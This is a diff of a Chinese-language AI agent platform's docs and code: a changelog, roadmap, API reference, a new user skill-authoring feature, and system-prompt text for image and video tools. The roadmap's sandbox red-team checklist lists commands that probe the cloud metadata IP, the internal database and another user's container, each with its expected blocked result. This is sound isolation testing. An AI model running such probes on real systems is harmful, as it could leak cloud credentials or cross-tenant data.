- **`POST /v1/tasks/{id}/messages` 单活 run 锁 + 孤儿 reaper**:同事务 `SELECT FOR UPDATE` + 活跃状态检查 + 标 running 三步原子;lifespan reaper 清进程 crash 留下的 running/cancelling 孤儿。 - **`POST /v1/tasks/{id}/messages` 单活 run 锁 + 孤儿 reaper**:同事务 SELECT FOR UPDATE + 活跃检查 + 标 running 三步原子;lifespan reaper 清 crash 孤儿。
- **proposal skill 流程图/结构图管线**:`render_diagrams.py` 扫 mermaid 块 → mmdc / mermaid.ink → png;render_docx `add_picture` 识别 `![](...)` 单行 + mermaid 围栏特判;图编号 `ctx['fig_no']` 递增。 - **proposal skill 流程图/结构图管线**:`render_diagrams.py` 扫 mermaid → mmdc/mermaid.ink → png;render_docx 识别 `![](...)` + mermaid 围栏;图编号递增。
- **system prompt skill 机制改"可选辅助"**:第 14 行从"永远 load 一下"改"简单问答/读代码/改 bug 不必硬套 skill";接 GET /v1/skills 下拉。 - **system prompt skill 机制改「可选辅助」**:简单问答/读代码/改 bug 不必硬套 skill;接 GET /v1/skills 下拉。
- **`GET /v1/skills` + dev SPA skill 字段改下拉**:lifespan 启动扫一次挂 `app.state`(FS 静态运行中不变);`<select>` 首项空值,option 文案 `name — description` - **`GET /v1/skills` + dev SPA skill 字段改下拉**;**dev SPA 全套 UI 中文化**(技术字段不动)。
- **dev SPA 全套 UI 中文化**:静态 + 动态文案全本地化;技术字段(UUID / token / SSE event 名 / API 字段)不动。
### 2026-05-17 ### 2026-05-17
- **0003 schema:name + working_dir + skill 三件套**:任务标识与工作目录解耦;`TRUNCATE tasks CASCADE` + 字段改名 + 加 `name TEXT NOT NULL`;`GET /v1/folders` 给 dev SPA modal datalist。 - **0003 schema:name + working_dir + skill 三件套**:任务标识与工作目录解耦;`TRUNCATE tasks CASCADE` + 加 `name NOT NULL`;`GET /v1/folders` 给 datalist。
- **`GET /v1/tasks` 分页 + 多维筛选 + ordering**:`{page,page_size,count,results}` + 6 个 query(status/skill/working_dir/q ILIKE/ordering);allowlist 防注入;默认 `-created_at` - **`GET /v1/tasks` 分页 + 多维筛选 + ordering**:`{page,page_size,count,results}` + 6 query;allowlist 防注入;默认 `-created_at`
- **task 硬删 API + dev SPA delete 按钮 + 文件 per-row 删**:`DELETE /v1/tasks/{id}` user_id 校验 + DB 行删(messages CASCADE)+ **FS task_dir 不动**(同 name 多 task 共享时 rmtree 易擦素材)。 - **task 硬删 API + dev SPA delete + 文件 per-row 删**:`DELETE /v1/tasks/{id}` 删 DB 行(messages CASCADE)+ **FS task_dir 不动**(同 name 多 task 共享)。
- **files API 全面 user-rooted(去掉 task_id 前置)**:`_safe_join` 边界改 user_root + dotfile 过滤(`.memory/` 隐藏);dev SPA `loadFiles()` 不再 gate on task_id。 - **files API 全面 user-rooted + dotfile 过滤**;**files 面板 UX 项目名 + 修 root crumb bug**。
- **files 面板 UX 项目名 + 修 root crumb bug**:`cur_rel == "."` 不追加无意义 "." crumb;crumbs 第一格 label 从 "/" 改项目名。 - **task_dir 改 eager mkdir**:`build_agent` + `create_task``mkdir(exist_ok=True)`,name=项目声明。
- **task_dir 改 eager mkdir**:`build_agent` 新建分支 + `create_task``mkdir(parents=True, exist_ok=True)`;name = 项目声明,目录该 task 创建时存在。 - **task = name-based 项目目录 + memory dotfile**:废 UUID 派生 + `tasks/` 中间层;`task_dir = workspace/users/<uid>/<name>/`,同 name 共享;memory 搬 `.memory/`;`validate_task_name` 拒 `.` 起头。
- **task = name-based 项目目录 + memory dotfile**:废 UUID 派生 + `tasks/` 中间层;`task_dir = workspace/users/<uid>/<name>/`,同 name 多 task 共享;memory 搬 `.memory/` dotfile;`validate_task_name` 拒 `.` 起头。
### 2026-05-15 ### 2026-05-15
- **§7 D 阶段 `/v1` JSON API 落地;Phase G Jinja2/HTMX UI 路线撤**:删 templates + CSS + jinja2/markdown-it-py/pygments 依赖;SSE event 由 HTML 片段切 JSON(`event: <type>` + `data: <JSON>`);dev SPA `web/static/dev.html` 留作本地 dogfood 主路径。 - **§7 D 阶段 `/v1` JSON API 落地;Phase G Jinja2/HTMX UI 路线撤**:删 templates + jinja2/markdown-it-py/pygments;SSE event 由 HTML 片段切 JSON;dev.html 留作 dogfood 主路径。
- **§7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA**:pyjwt HS256 + `AuthConfig.from_env()` fail-fast;数据隔离全 `Task.user_id == user_id`,跨 user 视 404;SSE 走 fetch + ReadableStream 手解(EventSource 不支持自定义 header)。 - **§7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA**:pyjwt HS256 + `AuthConfig.from_env()` fail-fast;数据隔离全 `Task.user_id == user_id`;SSE 走 fetch + ReadableStream 手解。
- **task_dir 改相对存储**:DB 存 ROOT 内→相对 posix / ROOT 外→保留绝对;`core/paths.py::{ROOT, to_db_path, from_db_path}` 三出口;alembic 0002 一次 UPDATE backfill。CLAUDE.md 加"开发期不写兼容层"心智。 - **task_dir 改相对存储**:DB 存 ROOT 内→相对 posix;`core/paths.py::{ROOT,to_db_path,from_db_path}`;alembic 0002 backfill;CLAUDE.md 加「开发期不写兼容层」。
- **workspace 布局统一 per-user**:`workspace/users/<user_id>/{tasks/<uuid>,memory/}/`;**清旧数据不留兼容**。 - **workspace 布局统一 per-user** + **litellm 启动 cost map 网络警告兜底**(`LITELLM_LOCAL_MODEL_COST_MAP=True`,冷启 ~5s→<1s)+ **Phase G Jinja2/HTMX Web UI 全撤**(沉淀的 sink/broker/no-subtask/files 安全归一保留)。
- **litellm 启动 cost map 网络警告兜底**:`LITELLM_LOCAL_MODEL_COST_MAP=True` 走本地 cost map,冷启动 ~5s → <1s
- **Phase G G1-G6 Jinja2/HTMX Web UI** _(全撤,被 D + dev SPA 替换;沉淀的 sink / broker / no-subtask / files 安全归一保留)_
### 2026-05-14 ### 2026-05-14
- **§7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图**:dir 不是 task 父容器,双视图正交;task_dir 留空 = 一次性对话 / 指定 = 项目化 - **§7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图**:dir 不是 task 父容器,双视图正交。
- **§7 B Steps 1-4 + 6**:`core/storage/{engine,models}.py` SQLAlchemy 2.x ORM(5 表)+ alembic + `cli db {upgrade,downgrade,current}`;`state.json` 全废,messages/TaskState 入 PG;`check_no_subtask` 同 user 下查前缀嵌套。 - **§7 B Steps 1-4 + 6**:SQLAlchemy 2.x ORM(5 表)+ alembic + `cli db`;`state.json` 全废入 PG;`check_no_subtask` 查前缀嵌套。
### 2026-05-12 ### 2026-05-12
@ -226,11 +202,10 @@
### 历史(2026-Q1 → 05-11) ### 历史(2026-Q1 → 05-11)
- **Phase 1-4**:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 加商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。 - **Phase 1-4**:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。
- **05-06 → 05-08**:Phase 6 部分(task + state.json + tokens 累计);TUI rich Markdown + spinner 实时耗时;`/resume [last|<id>]` + 懒创建 + `_cleanup_if_empty` - **05-06 → 05-11**:Phase 6 部分(task + state.json + tokens 累计);TUI rich + `/resume`;DESIGN §7 初版(05-12 重写);`cli.py export` + `core/export_docx.py`;`atomic_write_text` + `core/memory.py`;loop 事件流化铺 SSE 路。
- **05-09 → 05-10**:DESIGN §7 初版(05-12 重写);`cli.py export` + `core/export_docx.py` - **06-04 token 优化启动(DESIGN §8.2)**:chat usage 记 cache hit/miss + LiteLLM cost=0 时按模型档案 CNY/Mtok 兜底;`run_python` 加 `script_path` 模式;`core/context.py` 压缩旧 tool / load_skill / assistant tool_call arguments 不改持久化历史;`llm_start` SSE 输出 `context_*` 压缩统计。
- **05-11**:`atomic_write_text` + `core/memory.py`(core.md 入 prompt,extended/* 索引);loop 事件流化 `sink.emit` 铺 SSE 路。 - **06-05 记账给缓存命中折价**:发现 task `tokens_in` 88.6% 是缓存命中却按全价记致虚高 2-3x;`ModelCapabilities` 加 `cache_hit_cny_per_mtoken`,成本公式拆三段;前端 hover tooltip 显真实成本 + 命中率(分母改 usage_events 同源,恒 ≤100%);历史走 backfill 脚本。
- **06-04 token 优化启动**:`DESIGN.md §8.2` 写入上下文治理方案;chat usage 记录 cache hit/miss / reasoning tokens,LiteLLM cost=0 时按模型档案 CNY/Mtok 兜底;`run_python` 新增 `script_path` 模式(长代码先 write .py 再按路径执行,减少 run_python code 入历史);`run_python` / `shell` 长输出只做上下文裁剪,不写 `.tool_logs`;`document_search` 默认召回量保持 6×1200 chars;`core/context.py` 先压缩旧 tool 消息、旧 `load_skill` 结果、旧 assistant tool_call arguments(`write(content=...)` 源码参数),不改持久化历史;`llm_start` SSE 输出 `context_*` 压缩统计,dev SPA 底部 hint 展示上下文压缩与 cache hit/miss。`rust介绍` 实测:task 列表 `70条 / 711k tok` 是历史累计,最近单轮 22k input 且 cache hit 高;新增 arguments 压缩后 sent_chars 估算 `49,166 → 34,415`
--- ---
@ -241,13 +216,14 @@
| 工具基目录 | cwd(读)+ working_dir(写) | system prompt 同时注入两者绝对路径 | | 工具基目录 | cwd(读)+ working_dir(写) | system prompt 同时注入两者绝对路径 |
| Workspace 布局 | `workspace/users/<user_id>/{.memory/, <name>/}` | per-user 隔离;memory dotfile 防撞;同 name 多 task 共享 | | Workspace 布局 | `workspace/users/<user_id>/{.memory/, <name>/}` | per-user 隔离;memory dotfile 防撞;同 name 多 task 共享 |
| Eval Suite | 不做 | 个人工具 dogfooding | | Eval Suite | 不做 | 个人工具 dogfooding |
| 版本化 prompt | 直接 `general_v1.md` | Windows 软链接麻烦,真要切再做 | | 版本化 prompt | 直接 `general_v1.md` | 真要切再做 |
| run_python 沙盒 | subprocess + env 过滤 | Docker 在 §7 C 阶段 | | run_python 沙盒 | subprocess + env 过滤 | Docker 在 §7 C 阶段 |
| 兼容层 | 开发期不写 | DB schema / 字段 / API 改动直接切,见 CLAUDE.md | | 兼容层 | 开发期不写 | DB schema / 字段 / API 改动直接切,见 CLAUDE.md |
| `/v1/files/*` 与 DB | files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 | rename / delete 顶层目录 DB-aware | | `/v1/files/*` 与 DB | files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 | rename / delete 顶层目录 DB-aware |
| 单活 run | task 同时最多 1 个活 run | gate 在 `post_message` 同事务 `SELECT FOR UPDATE` | | 单活 run | task 同时最多 1 个活 run | gate 在 `post_message` 同事务 `SELECT FOR UPDATE` |
| LLM 调用走 streaming | `chat_stream` + `litellm.stream_chunk_builder` 拼回;cancel 在 chunk 间 + tool_call 之间 poll | cancel 延迟 100ms 级;content delta 即时 emit 给前端打字机 | | LLM 调用走 streaming | `chat_stream` + `stream_chunk_builder` 拼回;chunk 间 + tool_call 间 poll cancel | cancel 延迟 100ms 级;content delta 即时 emit |
| 发送/停止单按钮 | UI 按 `state.streaming` 切态;streaming 期间 Enter 不触发停止 | 防误触 | | 上下文压缩 | 加压力门槛,超阈值才压 | 护前缀缓存 + 不丢旧细节(§8.2 / 06-10) |
| 停机判据 | max_iterations 降为 backstop,靠进展信号掐空转 | `_RepeatGuard` + run 级 `_stall`(06-10) |
--- ---
@ -255,55 +231,40 @@
``` ```
core/capabilities.py 75 ← 模型档案增加 CNY/Mtok 计费兜底字段 core/capabilities.py 75 ← 模型档案增加 CNY/Mtok 计费兜底字段
core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream=True + include_usage) core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream + include_usage)
core/loop.py 300 ← §7 A sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)+ usage cache 明细 core/loop.py 300 ← sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)+ _RepeatGuard + usage cache 明细
core/context.py 95 ← LLM 调用前压缩旧 tool / load_skill 消息,保 tool_call 协议字段,返回压缩统计 core/context.py 95 ← LLM 调用前压缩旧 tool / load_skill 消息(带压力门槛),保 tool_call 协议字段
core/sinks.py 101 ← §7 A core/sinks.py 101
core/ui.py 38
core/paths.py 50 ← task_dir db form 归一 core/paths.py 50 ← task_dir db form 归一
core/probe.py 243 core/probe.py 243
core/session.py 153 ← §7 B Step 2-3: ORM core/session.py 153 ← ORM
core/skills.py 81 core/task.py 82 ← PG-backed TaskState
core/task.py 82 ← §7 B Step 3: PG-backed TaskState core/skills.py 180 ← 多来源 registry(SkillSource)+ source 标记 + 覆盖感知(user wins)+ load_errors + container_dir
core/memory.py 81 ← per-user `.memory/` dotfile core/memory.py 81 ← per-user `.memory/` dotfile
core/export_docx.py 383 core/export_docx.py 383
core/storage/__init__.py 29 core/storage/{__init__,engine,models,usage,utils}.py ← 4 表(0004-0007 演进);record_chat/image_usage
core/storage/engine.py 80 core/ark_client.py 105 ← 火山方舟 HTTP 客户端
core/storage/models.py 130 ← 4 表(0004 删 runs;0005 email UNIQUE;0006 usage_events v2 + messages.model_profile;0007 cost_usd→cny) core/agent_builder.py 340 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool);build_skill_registry 装两来源
core/storage/usage.py 150 ← record_chat_usage(USD→CNY ×7.2,LiteLLM cost=0 时 YAML 单价兜底)+ record_image_usage(单价 snapshot 进 units) core/executor.py / sandbox/{network,pool}.py / executor_docker.py ← Executor ABC + Docker per-user 容器池
core/storage/utils.py 136 tools/{base,fs,shell,run_python,skill_tool,skill_authoring,seedream,seedance,web_search,web_fetch,documents,materials_project}.py ← skill_authoring=save_skill/fork_skill(host-side 写 user .skills)
core/ark_client.py 105 ← 火山方舟 HTTP 客户端(seedream / 后续 seedance 共享) main.py ~210 ← 入口:web / db / probe / user / sandbox check
core/agent_builder.py 325 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool) db/migrations/versions/ 0001-0008
tools/{base,fs,shell,run_python,skill_tool,seedream}.py ~680 行(run_python 支持 script_path) web/app.py ~1360 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files + pptx 预览 + skills(列表/正文/删)
main.py ~210 ← 入口:web / db / probe / user
db/migrations/env.py 61
db/migrations/versions/
0001_initial_schema.py 125
0002_task_dir_relative.py 61
0003_task_name_and_working_dir.py 51
0004_drop_runs_usage_events.py 77
0005_users_email_unique.py 28
0006_usage_events_v2_and_message_model.py 60
0007_cost_usd_to_cny.py 40
web/__init__.py 5
web/app.py ~1320 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files copy/move
web/auth.py ~190 ← 邮箱密码 + platform_key → JWT web/auth.py ~190 ← 邮箱密码 + platform_key → JWT
web/broker.py 121 ← in-process pub/sub + cancel signal(全 task_id 索引) web/broker.py / sinks.py / pptx_render.py
web/sinks.py 21 web/static/dev.html + js/*.js ← dev SPA 拆 15 个零构建 ES module(main.js 入口;skills.js=技能查看 modal)
web/static/dev.html ~2480 ← dev SPA(3 栏 + 文件预览 + 双 tab 登录 + 选入弹框 + 发送/停止单按钮 + 流式打字机)
web/static/vendor/ ~1 MB ← jszip / docx-preview / xlsx web/static/vendor/ ~1 MB ← jszip / docx-preview / xlsx
───────────────────────────────── ─────────────────────────────────
Python 合计 ~3400 行(+ dev.html 1700 静态 + vendor 1MB) Python 合计 ~3400 行(+ dev SPA + vendor 1MB);加 skills 脚本 + 配置,总仓库约 3800 行
``` ```
`skills/ppt|proposal|coding|research/` 脚本 ~700 行 + SKILL.md / references / config / prompts(含 `config/media/doubao.yaml`)+ alembic.ini,总仓库约 3800 行。
--- ---
## 下一步候选(性价比排序) ## 下一步候选(性价比排序)
1. **真 OIDC 接入 + CORS 收紧**(~1 天)—— `/v1/auth/login` 内部换 OIDC ID token 校验(路由层 Depends 不动);CORS 改 platform 域名 allowlist。**真发布给真实用户前必做**。 1. **CORS 收紧**(~半小时,已接入真实用户应尽快做)—— `allow_origins``*` 改读 env 域名 allowlist;与 OIDC 解耦。
2. **§7 C Executor + sandbox**(~3-5 天,按 DESIGN §7.5 落地清单 6 条逐项实施)—— `run_python`/`shell` → `Executor.run(...)`,本地保留 subprocess、SaaS 走 docker;`api_key_env` → `KeyProvider` 运行时注入。多用户在线跑代码前置。**Stage C 完成 DoD** = 6 条落地清单全完成 + 红队回归用例通过:① 容器内 `curl http://169.254.169.254/...` → timeout / connection refused;② 容器内 `psql postgresql://<zcbot_pg_host>...` → IP block(连接失败);③ 容器内 `nohup sleep 1000 &` exec 退出后 `docker top <user_container>` 看不到残留进程;④ 跨 user 容器互访(A 容器 `curl http://<B_container_ip>:*`)→ 网络隔离阻断;⑤ 出网走 proxy 时未在 allowlist 的域名 → 403。原 ~2-3 天估值未含 egress proxy 部署 / xfs project quota 升级 / 红队用例,补回真实工程量。 - **真 OIDC**(~1 天,选做)—— `/v1/auth/login` 内部换 ID token 校验(路由层 Depends 不动);**邮箱密码长期保留并存**。platform_key 信任模型可接受则可延后,真要弃 PLATFORM_KEY 共享密钥时再做(延后无技术债)。
3. **Phase 6 context 三层压缩**(~1 天)—— 先做旧 tool 消息压缩(`role/tool_call_id/name` 保持协议完整),再做 task summary;不写 `.tool_logs`,不改 `document_search` 默认召回量。 2. **§7 C Executor + sandbox 收尾**(~3-5 天,按 §7.5 落地清单)—— 剩 Step 4 完整 egress proxy + Step 3b PGID kill 协议 + xfs project quota OS 层硬化。**Stage C DoD** = 6 条落地清单全完成 + 红队回归通过(metadata IP / PG IP block、残留进程清理、跨 user 网络隔离、egress allowlist)。**多用户在线跑代码 hard prereq**。
3. **Phase 6 context 第二步 task summary**(~1 天)—— 旧消息压成一条 summary(区分硬约束/计划/文件路径/关键事实),不直接塞回旧 tool 原文。
> §7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 主体已完工。剩余:真 OIDC → C(Executor)→ F(deploy / billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。 > §7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 + Stage C 主体已完工。剩余:真 OIDC → C 收尾 → F(deploy/billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。

4
RUN.md
View File

@ -151,6 +151,9 @@ curl --noproxy '*' -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8765/v1/ta
| `PATCH /v1/tasks/{id}` | `{status?,description?,name?,skill?}`;active 不让从 web 切回 | 必填 | | `PATCH /v1/tasks/{id}` | `{status?,description?,name?,skill?}`;active 不让从 web 切回 | 必填 |
| `DELETE /v1/tasks/{id}` | 硬删 DB 行(messages CASCADE);若 working_dir 已无其他 task 引用且 FS 目录为空 → 顺手 rmdir 清孤儿(非空 / 外部 --working-dir 静默跳过) | 必填 | | `DELETE /v1/tasks/{id}` | 硬删 DB 行(messages CASCADE);若 working_dir 已无其他 task 引用且 FS 目录为空 → 顺手 rmdir 清孤儿(非空 / 外部 --working-dir 静默跳过) | 必填 |
| `GET /v1/folders` | 列当前 user 工作目录 + n_tasks + last_used | 必填 | | `GET /v1/folders` | 列当前 user 工作目录 + n_tasks + last_used | 必填 |
| `GET /v1/skills` | 列当前 user 可用 skill(内置 + 自己的);每项带 `source`(builtin/user)/`overrides_builtin`;另返 `load_errors`(用户 skill 因 frontmatter 坏未加载的) | 必填 |
| `GET /v1/skills/{name}` | 返某 skill 完整 SKILL.md 正文(前端「技能」modal 点开查看);同名按 user wins | 必填 |
| `DELETE /v1/skills/{name}` | 删当前 user 私有 skill(`.skills/<name>/` 整目录);只删 user 源,内置不可删 → 404;`.skills` 文件面板隐藏,这是 UI 上删自己 skill 的唯一入口 | 必填 |
| `GET /v1/tasks/{id}/messages` | LiteLLM payload 透传 | 必填 | | `GET /v1/tasks/{id}/messages` | LiteLLM payload 透传 | 必填 |
| `POST /v1/tasks/{id}/messages` | `{content, image_model?=""}` 发消息;返 `{events_url}`;**`run_status` 是 running/cancelling → 409**(单活 run;error 起新 run 时清);`image_model` 是 `config/media/doubao.yaml` image 段的 variant key(空 → 沿用 yaml 第一个),仅本 run 装配 SeedreamTool 时使用,不入 DB;UI 应 disable send 直到 SSE `done` | 必填 | | `POST /v1/tasks/{id}/messages` | `{content, image_model?=""}` 发消息;返 `{events_url}`;**`run_status` 是 running/cancelling → 409**(单活 run;error 起新 run 时清);`image_model` 是 `config/media/doubao.yaml` image 段的 variant key(空 → 沿用 yaml 第一个),仅本 run 装配 SeedreamTool 时使用,不入 DB;UI 应 disable send 直到 SSE `done` | 必填 |
| `GET /v1/tasks/{id}/events` | SSE 流(`event: <type>` + `data: <json>`);订阅 task 当前活动 | 必填 | | `GET /v1/tasks/{id}/events` | SSE 流(`event: <type>` + `data: <json>`);订阅 task 当前活动 | 必填 |
@ -735,6 +738,7 @@ sudo xfs_quota -x -c "limit -p bhard=10g zcbot_<user_uuid>" /opt
- **Skill**:`skills/{coding,ppt,proposal}/SKILL.md`(渐进披露,§3.5) - **Skill**:`skills/{coding,ppt,proposal}/SKILL.md`(渐进披露,§3.5)
- **Workspace**(per-user 子树,user_id 来自 JWT `sub`): - **Workspace**(per-user 子树,user_id 来自 JWT `sub`):
- `workspace/users/<user_id>/.memory/{core.md, extended/}` — 跨 task 记忆,FS 永久,dotfile 隔离 - `workspace/users/<user_id>/.memory/{core.md, extended/}` — 跨 task 记忆,FS 永久,dotfile 隔离
- `workspace/users/<user_id>/.skills/<name>/SKILL.md` — 用户私有 skill,dotfile 隐藏;只对该用户生效,与内置同名则覆盖内置(user wins)。由 agent 工具 `save_skill` / `fork_skill` 写(host-side,不走沙箱 fs);docker 下随 user_root bind 到 `/workspace/.skills`
- `workspace/users/<user_id>/<working_dir>/` — 工作目录,用户起名,同 working_dir 多 task 共享 - `workspace/users/<user_id>/<working_dir>/` — 工作目录,用户起名,同 working_dir 多 task 共享
--- ---

View File

@ -1,11 +1,13 @@
# zcbot Skill 清单 # zcbot Skill 清单
服务对象:中国建筑材料科学研究总院 —— 无机非金属材料 R&D(水泥 / 混凝土 / 玻璃 / 陶瓷 / 耐火 / 新型建材) 服务对象:中国建筑材料科学研究总院 —— 无机非金属材料 R&D(水泥 / 混凝土 / 玻璃 / 陶瓷 / 耐火 / 新型建材)
最后更新:2026-06-08 最后更新:2026-06-11
Skill 总数:14 Skill 总数:15
zcbot 的"skill"是一份可加载的工作流脚本(`skills/<name>/SKILL.md` + 配套 templates / scripts / Python helper),模型在识别用户意图后挂载对应 skill,按其内置的阶段化流程产出可交付物。本文档面向**使用方 / 协作方**,按"做什么、什么时候用、什么时候别用、典型产物"组织。 zcbot 的"skill"是一份可加载的工作流脚本(`skills/<name>/SKILL.md` + 配套 templates / scripts / Python helper),模型在识别用户意图后挂载对应 skill,按其内置的阶段化流程产出可交付物。本文档面向**使用方 / 协作方**,按"做什么、什么时候用、什么时候别用、典型产物"组织。
> **用户私有 skill**:除内置 skill 外,每个用户可在自己私有的 `.skills/` 下创建 / 改造 skill(只对自己生效,不影响他人)。用 `skill-creator` 引导即可——从零写或 fork 某个内置 skill 再改。用户 skill 与内置**同名则覆盖内置**(列表里标 `[你的·已覆盖内置]`),改名则并存。
--- ---
## 速览 ## 速览
@ -26,6 +28,7 @@ zcbot 的"skill"是一份可加载的工作流脚本(`skills/<name>/SKILL.md` +
| 内容生成 | [videogen](#videogen) | 豆包 Seedance 2.0 文生视频(¥1.86 起 / 段) | | 内容生成 | [videogen](#videogen) | 豆包 Seedance 2.0 文生视频(¥1.86 起 / 段) |
| 通用 | [analyze](#analyze) | 科学问题拆解 / 引导(模糊命题 → 子问题 + 路线图) | | 通用 | [analyze](#analyze) | 科学问题拆解 / 引导(模糊命题 → 子问题 + 路线图) |
| 通用 | [coding](#coding) | 修代码 / 调试 / 重构 | | 通用 | [coding](#coding) | 修代码 / 调试 / 重构 |
| 元能力 | [skill-creator](#skill-creator) | 引导用户创建 / 改造自己的私有 skill(从零写或 fork 内置) |
--- ---
@ -430,6 +433,31 @@ paper_server 是内部 Django 文献库:元数据来自 OpenAlex,PDF / XML 由 S
--- ---
### skill-creator
**引导用户创建 / 改造自己的私有 skill。**
把"每次都要重复交代的一套做法"沉淀成用户私有 skill,存在自己的 `.skills/` 下,只对自己生效。两种来源:**从零写**(`save_skill` 写一份 SKILL.md)或 **fork 内置再改**(`fork_skill` 整目录拷过来、连脚本一起带,再编辑)。
**何时用**:
- ✅ 用户说"我想要个自己的 skill / 自定义 skill / 把这套流程固定下来"
- ✅ 用户说"zcbot 的 X skill 挺好但我想改成 Y"(→ fork 再改)
- ✅ 用户每次任务都重复交代同一套约束(术语表 / 模板 / 禁忌),值得固化
**何时不用**:
- ⛔ 用户只是要完成一个具体任务 → 走对应内置 skill,别绕到造 skill
- ⛔ 要改的是所有任务都该遵守的全局行为 → 那是偏好 / system prompt,不是 skill
- ⛔ 一次性的事 → 直接做
**关键机制**:
- 用户 skill 存私有 `.skills/<name>/`(文件面板隐藏),用 `save_skill` / `fork_skill` 落盘(**不走 fs/shell**——沙箱 fs 根够不到那里)
- 造好 / 改好后**下一条消息**才生效(registry 每轮重建)
- 同名内置 → 覆盖(user wins,列表显式标注);改名 → 并存
- `save_skill` 写时校验 frontmatter(缺 description / YAML 坏直接拒),挡住"加载失败"黑洞
**典型产物**:`.skills/<name>/SKILL.md`(+ fork 带来的 scripts / references / templates)。
---
## 跨 skill 协作 ## 跨 skill 协作
实际任务往往跨多个 skill,典型组合: 实际任务往往跨多个 skill,典型组合:
@ -439,6 +467,7 @@ paper_server 是内部 Django 文献库:元数据来自 OpenAlex,PDF / XML 由 S
- **写标准全流程**:analyze(定标准化对象) → stats_ml(配方-性能 / 精密度试验数据定指标) → research / documents(查国内外现有标准与现状) → standard(起草标准 + 编制说明) → plot_pub(出图) → review(送审前终审) - **写标准全流程**:analyze(定标准化对象) → stats_ml(配方-性能 / 精密度试验数据定指标) → research / documents(查国内外现有标准与现状) → standard(起草标准 + 编制说明) → plot_pub(出图) → review(送审前终审)
- **PPT 汇报**:analyze(提炼论点) → research / documents(找数据 + 引文) → plot_pub(出图) → ppt(组装 deck) → imagegen(可选,做封面 / 引子页) - **PPT 汇报**:analyze(提炼论点) → research / documents(找数据 + 引文) → plot_pub(出图) → ppt(组装 deck) → imagegen(可选,做封面 / 引子页)
- **晶体计算**:pymatgen(算 XRD / 相图) → plot_pub(出图) → proposal / patent(写到本子 / 交底书里) - **晶体计算**:pymatgen(算 XRD / 相图) → plot_pub(出图) → proposal / patent(写到本子 / 交底书里)
- **定制能力**:skill-creator(fork 某内置 skill,如 ppt / proposal) → 改造成本组 / 本人专属版本(术语 / 模板 / 默认值),之后日常任务直接用改造版
--- ---

View File

@ -49,6 +49,7 @@ from tools.run_python import RunPythonTool
from tools.seedance import SeedanceTool from tools.seedance import SeedanceTool
from tools.seedream import SeedreamTool from tools.seedream import SeedreamTool
from tools.shell import ShellTool from tools.shell import ShellTool
from tools.skill_authoring import ForkSkillTool, SaveSkillTool
from tools.skill_tool import LoadSkillTool from tools.skill_tool import LoadSkillTool
from tools.task_progress import TaskProgressTool from tools.task_progress import TaskProgressTool
from tools.web_fetch import WebFetchTool from tools.web_fetch import WebFetchTool
@ -58,6 +59,20 @@ from core.ark_client import ArkConfig
from core.bocha_client import BochaConfig from core.bocha_client import BochaConfig
# 媒体工具(seedream / seedance)指引:仅当本 run 真的挂了媒体工具(ARK_API_KEY 存在,
# ArkConfig.load() 非 None)才追加进 system prompt —— 没 key 的用户不会看到永远报错的工具,
# 也不该背这段红线。文案与 base 模板里其余工具表平级,放在 _build_system_prompt 里按需拼。
_MEDIA_TOOLS_BLOCK = """\
## 媒体生成工具(seedream 图 / seedance 视频)
- `seedream` 豆包图像生成产物自动落 `<task_dir>/figures/`每次 **¥0.22**(联网 `search=true` ¥0.05)
- **调用前必须先 `load_skill('imagegen')`** skill 里有何时该用 / 该不该用 mermaid 替代 / 用户描述模糊度诊断 / 一次性追问范式 / prompt 装配 / 失败解药全套引导**不要拿用户原话直接当 prompt tool** 容易烧 ¥0.22 在错的方向上
- 兜底硬约束(即使没 load skill 也守):用户没主动要图就别装饰性生成;同一目的不满意**不要连发**,先口头校准 prompt 再调
- `seedance` 豆包视频生成(Seedance 2.0 Fast)异步任务,** 30-90s 出片**;产物自动落 `<task_dir>/videos/`每次 **¥1.86 **(480p 4s)~ **¥12+**(720p 15s),比图贵 10 倍以上触发词:视频 / 动画 / 动起来 / 做个 video / 镜头 / 短片 / 演示视频 / 动效
- **调用前必须先 `load_skill('videogen')`** skill 里有6 维诊断(含运动维必填)/ seedream/mermaid 反向选型 / prompt 装配 / 参数取舍(时长/分辨率/比例直接决定钱)/ 失败解药全套引导视频比图贵 10 倍且 90s 等待,绝对不要拿用户原话当 prompt 直接调
- 兜底硬约束:用户没主动要视频就别装饰性生成(比生图更严重的红线);同一目的不满意**绝不连发**(1 次错 = ¥4+60s,连发 2 = ¥8+2min);phase 1 仅文生视频,**不支持** image-to-video / video-to-video"""
def load_config() -> dict: def load_config() -> dict:
return yaml.safe_load((ROOT / "config" / "agent.yaml").read_text(encoding="utf-8")) or {} return yaml.safe_load((ROOT / "config" / "agent.yaml").read_text(encoding="utf-8")) or {}
@ -110,12 +125,36 @@ def resolve_workspace(workspace: Optional[str], cfg: Optional[dict] = None) -> P
def user_root(workspace_dir: Path, user_id: UUID) -> Path: def user_root(workspace_dir: Path, user_id: UUID) -> Path:
"""per-user 子树根:`<workspace>/users/<user_id>/`。working_dir / `.memory/` 都在下面。""" """per-user 子树根:`<workspace>/users/<user_id>/`。working_dir / `.memory/` / `.skills/` 都在下面。"""
d = workspace_dir / "users" / str(user_id) d = workspace_dir / "users" / str(user_id)
